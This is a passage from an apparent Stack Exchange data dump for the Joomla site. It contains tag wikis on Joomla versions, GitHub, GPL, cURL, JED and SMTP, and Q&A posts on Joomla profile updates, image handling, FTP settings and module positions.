(Front-end: Protostar, Back-end: Isis) are fully responsive, and Joomla was the first major CMS to achieve this.&#xA;Twitter Bootstrap integration&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;jQuery&lt;/strong&gt;. As of Joomla 3, jQuery is the default javascript framework. Mootools is still available, but deprecated, and might be removed in future versions.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;New admin interface.&lt;/strong&gt; Big overhaul of admin interface to improve usability&#xA;PostgreSQL support&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Getting Joomla&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The latest version of Joomla can be downloaded from &lt;a href=&quot;http://www.joomla.org/download.html&quot; rel=&quot;nofollow&quot;&gt;http://www.joomla.org/download.html&lt;/a&gt;. Both Jomla 3.x and 2.5.x is available for free.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Installation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Joomla can be installed on any host with the &lt;a href=&quot;http://www.joomla.org/technical-requirements.html&quot; rel=&quot;nofollow&quot;&gt;minimum system requirements&lt;/a&gt;, or on a local computer using a web server like &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_Apache%E2%80%93MySQL%E2%80%93PHP_packages&quot; rel=&quot;nofollow&quot;&gt;XAMPP, WAMP, LAMP, MAMP etc&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instructions on how to install Joomla can be found at &lt;a href=&quot;http://docs.joomla.org/Installing_Joomla&quot; rel=&quot;nofollow&quot;&gt;Joomla! Docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="168" LastEditDate="2014-11-16T01:08:04.787" LastActivityDate="2014-11-16T01:08:04.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4121" PostTypeId="4" CreationDate="2014-08-20T01:07:30.887" Score="0" Body="For questions regarding the Joomla 3.2.x Content Management System only." OwnerUserId="1629" LastEditorUserId="168" LastEditDate="2014-11-16T01:08:04.787" LastActivityDate="2014-11-16T01:08:04.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4122" PostTypeId="5" CreationDate="2014-08-20T01:22:38.473" Score="0" Body="&lt;p&gt;For questions regarding version 1.7 of the Joomla Content Management System. Please note that Joomla 1.7 is no longer officially supported, and that a one-click upgrade to Joomla 2.5 is available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 2.5 is basically the continuation of Joomla 1.6 LTS releases, an explanation of the somewhat confusing version numbering can be found &lt;a href=&quot;http://magazine.joomla.org/issues/item/716-Joomla-Versions-and-Updates-Explained&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-20T07:53:42.407" LastActivityDate="2014-08-20T07:53:42.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4123" PostTypeId="4" CreationDate="2014-08-20T01:22:38.473" Score="0" Body="For questions regarding version 1.7 of the Joomla Content Management System. Please note that Joomla 1.7 is no longer officially supported, and that a one-click upgrade to Joomla 2.5 is available." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-20T07:53:53.560" LastActivityDate="2014-08-20T07:53:53.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4124" PostTypeId="5" CreationDate="2014-08-20T01:29:22.080" Score="0" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.github.com/&quot; rel=&quot;nofollow&quot;&gt;GitHub&lt;/a&gt;&lt;/strong&gt; is web-based hosting service for software development projects that use Git for version control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GitHub offers both paid plans for private repositories, and free accounts for open source projects. As of 2014, GitHub reports having over 3.4 million users, making it the largest code host in the world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike Git, which is strictly a command-line tool, GitHub provides a web-based graphical interface and desktop as well as mobile integration. It also provides access control and several collaboration features such as wikis, task management, and bug tracking and feature requests for every project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://en.wikipedia.org/wiki/GitHub&quot; rel=&quot;nofollow&quot;&gt;GitHub Wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Resources&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.github.com/&quot; rel=&quot;nofollow&quot;&gt;Official site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://help.github.com/&quot; rel=&quot;nofollow&quot;&gt;Official help&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Graphical clients for certain platforms:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://windows.github.com/&quot; rel=&quot;nofollow&quot;&gt;GitHub Windows&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mac.github.com/&quot; rel=&quot;nofollow&quot;&gt;GitHub Mac&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://eclipse.github.com/&quot; rel=&quot;nofollow&quot;&gt;GitHub Eclipse&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-20T07:53:07.357" LastActivityDate="2014-08-20T07:53:07.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4125" PostTypeId="4" CreationDate="2014-08-20T01:29:22.080" Score="0" Body="GitHub is a web-based hosting service for software development projects that use Git for version control." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-20T07:52:13.963" LastActivityDate="2014-08-20T07:52:13.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4126" PostTypeId="5" CreationDate="2014-08-20T01:31:07.973" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;http://www.gnu.org/copyleft/gpl.html&quot; rel=&quot;nofollow&quot;&gt;GNU General Public License&lt;/a&gt; (GPL) is a copyleft free software license and is the most popular open source license.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tag is for questions related to the GNU General Public License that are &lt;strong&gt;not requests for legal advice.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-20T07:53:19.823" LastActivityDate="2014-08-20T07:53:19.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4127" PostTypeId="4" CreationDate="2014-08-20T01:31:07.973" Score="0" Body="The GNU General Public License is a copyleft free software license and is the most popular open source license. This tag is for questions related to the GNU General Public License that are not requests for legal advice." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-20T07:52:42.627" LastActivityDate="2014-08-20T07:52:42.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4128" PostTypeId="5" CreationDate="2014-08-20T01:33:09.660" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://curl.haxx.se/&quot; rel=&quot;nofollow&quot;&gt;cURL&lt;/a&gt; is primarily a command-line tool for transferring data using internet protocols such as DICT, FILE, FTP, &lt;a href=&quot;http://en.wikipedia.org/wiki/FTPS&quot; rel=&quot;nofollow&quot;&gt;FTPS&lt;/a&gt;, Gopher, HTTP, &lt;a href=&quot;http://en.wikipedia.org/wiki/HTTP_Secure&quot; rel=&quot;nofollow&quot;&gt;HTTPS&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Internet_Message_Access_Protocol&quot; rel=&quot;nofollow&quot;&gt;IMAP&lt;/a&gt;, IMAPS, LDAP, LDAPS, &lt;a href=&quot;http://en.wikipedia.org/wiki/Post_Office_Protocol#History&quot; rel=&quot;nofollow&quot;&gt;POP3&lt;/a&gt;, POP3S, RTMP, RTSP, &lt;a href=&quot;http://en.wikipedia.org/wiki/Secure_copy&quot; rel=&quot;nofollow&quot;&gt;SCP&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/SFTP&quot; rel=&quot;nofollow&quot;&gt;SFTP&lt;/a&gt;, SMTP, SMTPS, Telnet and &lt;a href=&quot;http://en.wikipedia.org/wiki/Trivial_File_Transfer_Protocol&quot; rel=&quot;nofollow&quot;&gt;TFTP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, cURL can be used to download a web page and save it to a file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl -o curltest.html www.example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;cURL is powered by the libcurl library, which provides the underlying protocol transfer abilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;libcurl has &lt;a href=&quot;http://curl.haxx.se/libcurl/&quot; rel=&quot;nofollow&quot;&gt;bindings&lt;/a&gt; for a number of languages. The PHP binding is known as PHP/CURL, or sometimes just as CURL (which can be confusing).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Resources:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/CURL&quot; rel=&quot;nofollow&quot;&gt;cURL Wikipedia Article&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://curl.haxx.se/&quot; rel=&quot;nofollow&quot;&gt;cURL Website&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://curl.haxx.se/docs/manpage.html&quot; rel=&quot;nofollow&quot;&gt;cURL command line tool detailed command line options reference&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-20T07:52:28.293" LastActivityDate="2014-08-20T07:52:28.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4129" PostTypeId="4" CreationDate="2014-08-20T01:33:09.660" Score="0" Body="cURL is a library and command-line tool for transferring data using several protocols such as HTTP, FTP and Telnet." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-20T07:52:59.007" LastActivityDate="2014-08-20T07:52:59.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4130" PostTypeId="1" AcceptedAnswerId="4131" CreationDate="2014-08-20T04:18:23.223" Score="3" ViewCount="2541" Body="&lt;p&gt;What is the code to update a user profile?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gets the user profile:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   $user = JFactory::getUser();&#xA;   $userid = $user-&amp;gt;id;&#xA;   $profile = JUserHelper::getProfile($user-&amp;gt;id);&#xA;   echo print_r($profile);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now what do I type to update one of the profile fields please? Is it up to me to write it or is there a command to save the profile?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mat&lt;/p&gt;&#xA;" OwnerUserId="1799" LastEditorUserId="126" LastEditDate="2015-08-29T18:11:22.557" LastActivityDate="2015-08-29T18:11:22.557" Title="Updating user profile" Tags="|joomla-api|profile|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4131" PostTypeId="2" ParentId="4130" CreationDate="2014-08-20T04:29:55.490" Score="6" Body="&lt;p&gt;You can modify this code from &lt;a href=&quot;http://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase&quot;&gt;Joomla Docs&lt;/a&gt; to fit your needs, depending on what you're trying to achieve:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;// Fields to update.&#xA;$fields = array(&#xA;    $db-&amp;gt;quoteName('profile_value') . ' = ' . $db-&amp;gt;quote('Updating custom message for user 1001.'),&#xA;    $db-&amp;gt;quoteName('ordering') . ' = 2'&#xA;);&#xA;// Conditions for which records should be updated.&#xA;$conditions = array(&#xA;    $db-&amp;gt;quoteName('user_id') . ' = 42', &#xA;    $db-&amp;gt;quoteName('profile_key') . ' = ' . $db-&amp;gt;quote('custom.message')&#xA;);&#xA;$query-&amp;gt;update($db-&amp;gt;quoteName('#__user_profiles'))-&amp;gt;set($fields)-&amp;gt;where($conditions);&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-08-20T04:29:55.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4132" PostTypeId="2" ParentId="4130" CreationDate="2014-08-20T04:35:05.933" Score="6" Body="&lt;p&gt;This is how Joomla user profile plugins does&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Sanitize the date&#xA;$data['profile']['dob'] = $this-&amp;gt;_date;&#xA;&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;delete($db-&amp;gt;quoteName('#__user_profiles'))&#xA;                -&amp;gt;where($db-&amp;gt;quoteName('user_id') . ' = ' . (int) $userId)&#xA;                -&amp;gt;where($db-&amp;gt;quoteName('profile_key') . ' LIKE ' . $db-&amp;gt;quote('profile.%'));&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;&#xA;$tuples = array();&#xA;$order = 1;&#xA;foreach ($data['profile'] as $k =&amp;gt; $v)&#xA;{&#xA;    $tuples[] = '(' . $userId . ', ' . $db-&amp;gt;quote('profile.' . $k) . ', ' . $db-&amp;gt;quote(json_encode($v)) . ', ' . $order++ . ')';&#xA;}&#xA;&#xA;$db-&amp;gt;setQuery('INSERT INTO #__user_profiles VALUES ' . implode(', ', $tuples));&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can get reference  from Root =&gt; plugins =&gt; user =&gt; profile =&gt; profile.php in onUserAfterSave function.&lt;/p&gt;&#xA;" OwnerUserId="142" LastActivityDate="2014-08-20T04:35:05.933" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4133" PostTypeId="1" AcceptedAnswerId="4144" CreationDate="2014-08-20T04:43:37.667" Score="6" ViewCount="3666" Body="&lt;p&gt;I recently tried to explain someone how to add images from a digital camara to an article in Joomla, and I noticed how cumbersome this actually is. Basically one has to do the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find image in Windows Explorer and resize from a resolution of 6 (or more) megapixels using an image editor.&lt;/li&gt;&#xA;&lt;li&gt;Press &quot;Add image&quot; button below editor in Joomla&lt;/li&gt;&#xA;&lt;li&gt;Find upload section at the bottom, locate file on computer and remember to click &quot;Upload&quot;&lt;/li&gt;&#xA;&lt;li&gt;Locate file in Joomla media manager and click &quot;insert&quot;.&lt;/li&gt;&#xA;&lt;li&gt;If you forgot to set image alignment, you have to edit the source code or insert image again.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How can I make this process easier? I know K2 will resize inserted images as needed, but I'd rather use the normal article manager.&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2016-01-21T14:04:03.147" Title="Simplify image management in articles" Tags="|joomla-3.x|content|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4134" PostTypeId="1" AcceptedAnswerId="4187" CreationDate="2014-08-20T09:28:50.073" Score="2" ViewCount="450" Body="&lt;p&gt;I have a weird problem on my Joomla 3.3.1 website. I have made the migration from J2.5 two months ago and until yesterday everything was working fine.&#xA;Now, only menu-items that are linked to an article which contains &lt;code&gt;module anywhere&lt;/code&gt; are working.&lt;/p&gt;&#xA;&lt;p&gt;All the others menu-items are giving me a &amp;quot;website is not available&amp;quot; error (cf print screen) among them:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the single article menu-items that link to an article that doesn't contains a &amp;quot;module anywhere&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;the tag menu-item&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I have re-install the ftp/my db from a backup 2 days  and from 1 week ago but I still have the same issue.&lt;/p&gt;&#xA;&lt;p&gt;Also if I set the Joomla debug system to ON, then all  my menu-items are working fine (even the one that didn't work with the debug).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;After further investigation:&lt;/strong&gt; my website need to load a module inside an article (with article anywhere from NoNumber or with {loadposition yourmoduleposition}  in order to work. If an article isn't loading a module, then I can't access it via front-end.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2021-01-15T13:32:01.857" LastActivityDate="2021-01-15T13:32:01.857" Title="Only articles with article anywhere are accessible" Tags="|fix-my-code|front-end|bugs|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4135" PostTypeId="2" ParentId="4108" CreationDate="2014-08-20T10:15:32.100" Score="1" Body="&lt;p&gt;Looks like it is working for me. It directs me to &lt;em&gt;yoururl.org/en/&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It therefore looks very much like you have a problem with the language settings, or indeed a extension which is having an issue with languages. Clearing your cookies may result in you being directed to the right language version, but the source of the problem will need to be determined by disabling each extension and seeing if it has any effect.&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2014-08-20T10:15:32.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4136" PostTypeId="1" AcceptedAnswerId="4137" CreationDate="2014-08-20T15:00:56.923" Score="0" ViewCount="382" Body="&lt;p&gt;I changed my database password and I have changed it in the configuration.php file but concerning my FTP password I can't find where I need to change it in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The weird things is that my new ftp password is effective (I tested it with filezila) but somehow joomla can still connect to the ftp even though I haven't updated it anywhere in joomla. Actually I could not find it where I am supposed to change the ftp password. I have checked the configuration.php and the global configuration in the administrator.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is this normal? &lt;/li&gt;&#xA;&lt;li&gt;If it is, how can Joomla (3.3.1) retrieve the .CSS, .php, etc. files without having the ftp password?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-08-20T15:12:32.323" Title="Joomla works without my new ftp password, how that's possible?" Tags="|administrator|configuration|account-password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4137" PostTypeId="2" ParentId="4136" CreationDate="2014-08-20T15:12:32.323" Score="2" Body="&lt;p&gt;To change the FTP settings in Joomla, go to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Joomla backend&lt;/li&gt;&#xA;&lt;li&gt;Global Configuration&lt;/li&gt;&#xA;&lt;li&gt;Select the &lt;strong&gt;Server&lt;/strong&gt; tab.&lt;/li&gt;&#xA;&lt;li&gt;Under &lt;strong&gt;FTP Settings&lt;/strong&gt;, set &quot;&lt;strong&gt;Enable FTP&lt;/strong&gt;&quot; to &quot;&lt;strong&gt;Yes&lt;/strong&gt;&quot;, which will then slide down the required options for you til fill in.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These settings only need to be added in if your server requires you to use FTP within Joomla. I was a little confused with your question so I will simply write a few facts down here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You obviously already have an FTP account which I assume you've created in your hosting control panel. If you are adding files to your Joomla site via FTP and have changed the password for the account, you will not be able to connect, no if's or buts, it simply will not allow you to connect. It is quite possible that you have created a separate FTP account and are still connecting via the old account. If you wish to change the password, be sure to update the current account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you are referring to an anonymous FTP account, not entirely sure. &lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-08-20T15:12:32.323" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4138" PostTypeId="5" CreationDate="2014-08-20T15:18:50.320" Score="0" Body="&lt;p&gt;JED is short for &lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;Joomla Extensions Directory&lt;/a&gt;&lt;/strong&gt;, the official directory for Joomla components, modules and plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a database maintained by the Joomla developers of all components, plugins and modules available for use with the Joomla platform, both paid and free.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Install from Web&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://docs.joomla.org/Install_from_Web&quot; rel=&quot;nofollow&quot;&gt;Joomla Install from Web feature&lt;/a&gt; was added as part of Joomla! 3.2 to make installing extensions from the Joomla Extensions Directory (JED) easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable it simply go into the Joomla Extension Manager and click on the notice at the top to install the extra plugin needed for it to function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many extensions can be installed directly, while others will display a download link or a link to the developer for download.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-20T20:30:22.720" LastActivityDate="2014-08-20T20:30:22.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4139" PostTypeId="4" CreationDate="2014-08-20T15:18:50.320" Score="0" Body="JED is short for Joomla Extensions Directory, the official directory for Joomla components, modules and plugins." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-20T20:30:25.453" LastActivityDate="2014-08-20T20:30:25.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4140" PostTypeId="5" CreationDate="2014-08-20T15:48:56.580" Score="0" Body="&lt;p&gt;Simple Mail Transfer Protocol (SMTP) is an Internet standard for electronic mail (e-mail) transmission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, Joomla uses the PHP mail() function to send emails from the server, but it is possible to change this to SMTP in the Joomla configuration. This is particularly useful if the server don't support the PHP mail() function. It's also a way to solve the &lt;code&gt;Could not instantiate mail function&lt;/code&gt; error. Using SMTP to send email requires that you have a valid email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SMTP can be activated in Global Configuration (server tab), and the following fields should be set up:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mailer&lt;/strong&gt;:  Select SMTP&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;SMTP Authentication&lt;/strong&gt;: Yes&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;SMTP Security/SMTP Port&lt;/strong&gt;: If your SMTP server uses SSL, select this option from SMTP Security and then enter the SSL Port required for your SMTP server&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;SMTP Username&lt;/strong&gt;: Your SMTP Username, (normally your full email address)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;SMTP Password&lt;/strong&gt;: Password used to access your email&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;SMTP Host&lt;/strong&gt;:   Use &lt;em&gt;localhost&lt;/em&gt; if the email account you're sending email from is on the same server as your Joomla site. Otherwise, enter your SMTP hostname.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Additional information on setting up SMTP with Joomla can be found here: &lt;a href=&quot;http://www.cloudaccess.net/joomla-knowledgebase/89-joomla-2-5/global-configuration/194-joomla-smtp-mail-settings.html&quot; rel=&quot;nofollow&quot;&gt;http://www.cloudaccess.net/joomla-knowledgebase/89-joomla-2-5/global-configuration/194-joomla-smtp-mail-settings.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-20T20:30:29.690" LastActivityDate="2014-08-20T20:30:29.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4141" PostTypeId="4" CreationDate="2014-08-20T15:48:56.580" Score="0" Body="Simple Mail Transfer Protocol (SMTP) is an Internet standard for electronic mail (e-mail) transmission." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-20T20:30:32.683" LastActivityDate="2014-08-20T20:30:32.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4142" PostTypeId="2" ParentId="3793" CreationDate="2014-08-20T15:54:57.220" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I think the &lt;code&gt;&amp;lt;optgroup&amp;gt;&lt;/code&gt; label should be changed from &quot;Custom Position&quot; to &quot;Already Used&quot; or &quot;Selected Positions&quot; or something like that. To do so, create or open the file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/administrator/language/overrides/en-GB.override.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and add this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_MODULES_CUSTOM_POSITION=&quot;Already Used&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also there is a dirty way to get rid of the &lt;code&gt;optgroup&lt;/code&gt; by commenting this line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$templateGroups[$customGroupText] = ModulesHelper::createOptionGroup($customGroupText, $customPositions);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/administrator/components/com_modules/helpers/html/modules.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and choose unique position names in your template's XML file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2014-08-20T15:54:57.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4143" PostTypeId="2" ParentId="4134" CreationDate="2014-08-20T16:08:19.937" Score="1" Body="&lt;p&gt;I had a quick look at your site and it seems to be working fine. What part of your site are you unable to access?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be an issue with Modules Anywhere (I assume you mean the &lt;a href=&quot;http://www.nonumber.nl/extensions/modulesanywhere&quot; rel=&quot;nofollow&quot;&gt;NoNumber extension&lt;/a&gt; ). You can try disabling the plugin from the Plugin Manager, and see if that makes any difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that &lt;code&gt;{loadposition yourmoduleposition}&lt;/code&gt; basically does the same work as Modules Anywhere, without any 3rd part plugin. More information on this can be found &lt;a href=&quot;http://docs.joomla.org/How_do_you_put_a_module_inside_an_article%3F&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-20T16:08:19.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4144" PostTypeId="2" ParentId="4133" CreationDate="2014-08-20T16:20:56.213" Score="4" Body="&lt;p&gt;I would recommend the &lt;a href=&quot;https://www.joomlacontenteditor.net/component/zoo/item/image-manager-extended-4&quot; rel=&quot;nofollow noreferrer&quot;&gt;JCE Image Manager&lt;/a&gt;, an extension to the popular Joomla Content Editor. It requires a paid subscription, but it allows you to resize your images on upload, and even create thumbnails automatically. The thumbnails can then be used to create a modal popup to display the full size image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h5huZ.jpg&quot; alt=&quot;JCE Image upload dialog&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, it includes a basic image editor that allows you to crop, rotate and resize your images, as well as adding a couple of filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a simpler solution, the plugins recommended by @johnny_s (&lt;a href=&quot;http://extensions.joomla.org/extensions/photos-a-images/images/articles-images/16743&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;http://extensions.joomla.org/extensions/photos-a-images/images/articles-images/25482&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;) looks very nice.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-20T16:20:56.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4145" PostTypeId="1" AcceptedAnswerId="4146" CreationDate="2014-08-20T20:22:55.480" Score="3" ViewCount="294" Body="&lt;p&gt;We have an existing site, version 1. We want to build a new version of the site, version 2 in a new Joomla instance so that we can ensure a cleaned up code base, but we want to do it incrementally, one component at a time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a clean way in Joomla so that we can host version 2 but still serve components from version 1 until they're replaced with corresponding version 2 components?&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-11-14T19:08:37.773" Title="Is there a way to have two Joomla sites on the same virtual host?" Tags="|development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
